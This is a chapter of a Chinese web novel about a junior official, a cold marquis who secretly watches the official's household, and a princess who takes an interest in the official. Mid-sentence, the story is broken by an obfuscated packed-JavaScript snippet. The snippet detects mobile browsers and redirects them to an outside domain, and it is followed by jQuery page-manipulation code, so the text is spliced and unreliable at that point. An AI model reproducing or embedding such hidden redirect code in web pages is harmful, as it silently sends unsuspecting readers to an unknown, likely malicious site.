刘纪观察着赵缙的神色，心里斟酌着措辞：
“听说.....有些时日了。”
赵缙凝视着刘纪，倏地勾起唇角，开口道：“病了就病了，与我何干？”
瞧见他略带讽色的神情，刘纪心中一咯噔，没再多说一个字。
沐浴过后，洗尽一身血气。
又想到：她病了？
赵缙回想起前几日宴会上的一见。
心中转而升起一股火，他强压着。
不过是夫君晚归几日，女儿消失几个时辰，她便病了。
思及此他浑身轻颤，心中发闷，一次饮尽一杯凉茶，似乎才将那股火浇灭。
——————
次日，官属里还泛着雨后的潮气。
连青晏心中记挂恩人，寻了几个相熟的同僚打听，却都摇头说不知。
正彷徨之时，就瞧见侯爷赵缙身边那位总是笑盈盈的手下刘纪，朝自己走来。
“连大人。”刘纪的声音亲切热络，“可是在寻前日送了令千金回府的人？”
连青晏心头一跳，忙道：“正是！刘大人知晓内情？”
“哎，说来也巧。”刘纪笑容可掬，压低声音，解释道：“那日侯爷车驾正好打西街过，就瞧见个孩子孤零零哭着，那身边也没个大人，心下不忍。亏得侯爷仁厚，当下就吩咐手下人顺道送回去了。方才我隐约听着连大人似乎在打听这事，一想日子对得上，就冒昧过来多句嘴，没想到真是府上的千金？”
刘纪夸起自家主子面不改色，他的话语圆转，目光在连青晏脸上不着痕迹地一转，留意着他的反应。
连青晏彻底怔在原地，脑中嗡的一声。
侯爷？这突如其来的惊喜让他措手不及，侯爷竟会官这样的闲事？
他下意识觉得这背后定有缘故，却一时理不清头绪。
思绪一转，他又觉得这是一个试探侯爷态度的好时机。
不敢怠慢，他整了整微皱的官袍，深吸一口气，前去值房求见。
赵缙正伏案批阅公文。
阳光透过窗棂，映在他冷峻的侧脸。
“下官。”连青晏喉头有些发紧，行礼，“多谢侯爷昨日搭救小女之恩，此恩重于山。”
赵缙的目光从公文上抬起，落在他身上，只一瞬便又垂下，继续批阅，笔尖却几不可察地顿了顿，“嗯。”
他应了一声，声音平淡，又道：“恰巧路过而已。”
片刻沉默后，他翻过一页公文，状似随意地添了一句，眼睛并未看向连青晏：“衙中今日若无急务，不必拘泥时辰。”
连青晏又是一愣。侯爷这话，是在允他早退？这实在太不寻常。
他压下心头翻涌的疑虑，恭敬回道：“谢侯爷体恤，下官明白了。”
他答得谨慎，心中那根弦却绷得更紧了。
侯爷这般是重新待见于他了？
赵缙不再多言，只微一颔首，示意他可退下。
退出值房，连青晏心头的疑云非但未散，反倒是加重了。
侯爷今日这般态度，虽依旧冷淡，却透着缓和的意思，莫非侯爷是被他这段时日勤恳所打动？
想起自己昨日实在无计可施，不得不硬着头皮去求那王宣，在侯爷面前为自己美言几句的情景，连青晏脸上不禁一阵发热。
那时王宣虽满口答应，但那态度却极其轻慢。
又莫非……真是王宣的话起了作用？
百思不得其解时，那王宣恰巧摇着扇走来了，脸上带着一丝笑意，又用手肘不轻不重地撞了他一下：“怎么样，连兄？侯爷那头，我昨日那番口舌，总算没白费吧？”
连青晏猛地看向他。
连青晏脸颊微烫，只得硬着头皮拱手：“昨日多谢王兄仗义执言，青晏感激不尽。”
那声音里带着一丝不易察觉的窘迫。
王宣挑眉，享受着连青晏此刻的难堪，他的声音却足够让周围人听清几分：“诶，举手之劳。我不过是看连兄你确实勤勉，家中有难处，实在不易，便在侯爷面前如实说了几句。”
他话语轻飘，眼神却闪过一丝施舍，“看来侯爷还是能听进几句劝的。连兄日后若还有什么难处，尽管再来找我便是。”
连青晏心中五味杂陈，只能感谢道：“王兄高义，碧安铭记在心。”
王宣闻言，脸上的笑意更盛，亲热地一把揽住他的肩膀，力道极大：“你我之间何须客套！走走走，今日你可必须给我这个面子，会仙楼不醉不归！”
他嘴上说得豪爽，心里却已默认，这连青晏刚承了情，今日这酒钱，合该由他来付。
及至下值，连青晏心绪纷乱如麻，既厌烦这等场合，只是刚刚承了王宣的情，便半推半就地被拉到了会仙楼。
席间喧闹更胜往日，酒气混杂着脂粉香。
王宣与一众纨绔划拳行令，笑语喧哗，专拣那价贵的酒菜点选。
目光却时不时瞟向连青晏，看他被动地一杯接一杯喝着闷酒，眉宇间透出沉郁和疲惫。
见状，王宣嘴角便掠过一丝讥诮的快意。
连青晏却如坐针毡，记挂着家中还病着的妻子，又想着官场的人情冷暖，只得硬着头皮应付，心中只盼这煎熬早些结束，对王宣那点心思毫无所察。
与此同时，二楼的雅阁内，一连两日，都坐着同一位看客。
永嘉郡主今日换了一身大红色的襦裙，云鬓微松，斜倚在塌上。
她指尖拿着一只白玉酒杯，目光却不再是漫不经心，而是带着几分专注的探究，定睛于那抹的青色身影上。
她瞧见，那人独自坐在角落，背脊却挺直，侧脸线条在摇晃的灯火下显得清俊而冷硬。
那双总是低垂的眼眸，微微一蹙，便像极了她记忆中的亡夫。
她看得入了神，杯中酒液微微晃动，最终一饮而尽。
身旁伺候的嬷嬷悄步上前，低声道：“郡主，都打听清楚了。那位是永宁侯手下的编修，名青晏。听说夫人前几日病得不轻，他今日似乎还特地向上峰告了假，想早些回去照看……”
嬷嬷顿了顿，语气里有着几分意味深长，“还听说，在官属里日子颇不好过，常受上官，就是那位永宁侯的冷落，眼下拉着他吃酒的那位，是伯远侯的嫡次子王宣，出了名的纨绔。”
“永宁侯？”永嘉郡主眉梢挑起，讥诮道：“赵缙那人，眼睛素来是长在头顶上的。”
随即，她的目光扫过正高声劝酒的王宣，又落回楼下那抹青色，眼底的兴趣毫不掩饰，玩味般说道：“不得志？妻室缠绵病榻，自己却还要被这等纨绔拉来这种地方……倒真是，怪让人心疼的。”
她放下酒杯，从随身的绣囊里取出一张银票，面额足够包下今夜，轻轻推到嬷嬷面前，带着些许怜惜。
“去，跟掌柜的说，连大人那桌的酒水，全记在我账上。”
她的声音依旧懒懒的，“等他们散了，务必教人给他送去醒酒汤。”
嬷嬷接过银票，心下明了郡主这番心意已不同往常，面上却丝毫不露：“是。郡主可要留什么话？”
永嘉郡主指尖轻轻桌面，沉吟片刻，回道：“不了。”
“老奴明白。”
嬷嬷躬身退下，自去安排。
——————
夜色渐深，会仙楼内的喧嚣却并未散去。
连青晏直到结账时，才从掌柜那谦恭的态度得知，已有人替他付过账单。
“是一位贵人的心意，感念连大人清正辛劳，聊表敬意。”
掌柜的语焉不详，笑容可掬地将他原本准备用来支付的银票推了回来，“贵人还特意吩咐，请您切勿推辞。”
连青晏怔住了，一时竟不知该作何反应。
他下意识抬眼扫过喧闹的二楼，心疑，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322932|183173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁？
王宣在一旁早已喝得醉醺醺，搂着个歌姬，大笑几声，重重拍了拍连青晏的背：“瞧瞧！连兄，我说什么来着？日后跟着我，少不了你的好处！”
他那带着酒气的气息喷在连青晏颈侧，话语中的讥诮与施舍难以掩饰。
说罢，便被友人搀扶着走，吵吵嚷嚷地先行离去，留下一室狼藉。
留连青晏一人站在原地。
他并未直接归家，而是先拐去官署提供的值房里。
反复漱口，又解开官袍，用力抖了抖，散气散味。
直到味道去了大半，他才略觉安心，整理好衣冠，匆匆归家。
他不愿再让玉卿闻到那酒味，徒增她的烦忧。
到家时，夜色已深。
薛玉卿还未睡，正靠在床头做针线。
她的病好了大半，脸色虽仍苍白，精神却不错。见连青晏回来，她柔声问：“衙中事务很忙吗？”
烛光映照着她的侧脸，虽仍带着大病初愈后的苍白虚弱，但眉宇间已有了往日温婉的神采，眼神也清亮了许多。
连青晏心下稍安，走过去坐在床沿，探手摸了摸她的额头，确实好了大半，回应道：“还好，已经无事了。”
他语气放得轻松又道：“不是让你好生歇着，怎么又做起针线来了？仔细伤了眼睛。”
“回来就好。”她放下针线，声音温和，带着病后的些许沙哑，“灶上温着粥，可用过饭了？”
“用过了。”连青晏走近，在床边坐下，又仔细端详她的气色，“看着是好多了，咳得可还厉害？药都按时喝了吗？”
“好多了。”薛玉卿微微颔首，目光在他脸上停留片刻。
他洗漱过，努力掩饰了酒气，但他眼底的疲倦与身上透着胭脂味太过明显。
薛玉卿的鼻翼动了动，抓紧了被角，终究什么也没问，只轻声道：“官署事务再忙，也要顾惜身子。”
连青晏心中装着事，并未留意到她这细微的停顿和回避。
只当她病体初愈容易倦怠，便温言道：“我知道，你才好些，快歇下吧，别再做这些针线了，伤眼睛。”
他扶着她躺下，细心掖好被角。
薛玉卿顺从地闭上眼，却在阴影中微微侧过头。
一丝陌生香气，若有若无地萦绕在他的衣襟间，让她心底漫起一丝难以言说的感觉。
而一旁的连青晏吹熄了灯，在黑暗里无声地躺在一边，却毫无睡意。
他想起白天王宣那带着施舍与戏弄的嘴脸，和侯爷那意味不明的许可，还有替他付酒钱的人，种种画面在他脑中逡巡。
最终，想到了侯爷。
侯爷今日的态度，好像确有一丝松动。
无论是否真是王宣起了作用，这或许是一个信号，一个他必须抓住的机会。
他不能再这般被动地忍受王宣之流的搓磨，能不能让家里人因自己的仕途坎坷而担心。
他必须更快地让永宁侯看到他的价值，看到他连青晏并非池中之物。
唯有站稳脚跟，才能真正脱离王宣这等纨绔的纠缠，才能让妻子不再为他担心。
黑暗中，他悄然计划着，被子里握紧了拳。
——————
侯府。
书房内烛火通明，摇曳的烛火将赵缙的身影拉得长长。
他指尖拈着那几页的起居录，上面一行行记录着连家近日的琐碎——汤药几副，饮食几何，何时熄灯，何时启门。
他看得极慢，目光逐字扫过，当读到夫人病体渐愈，已能稍进饮食，夜间咳喘亦减时。
他眸色一深，唇角绷紧了一刻，随即又化为一片平静。
良久，他才将纸笺轻轻丢回案上。
室内静得落针可闻。
他抬眼，目光落在一旁的刘纪身上，声音听不出情绪：“禅心寺那边，都准备妥了？”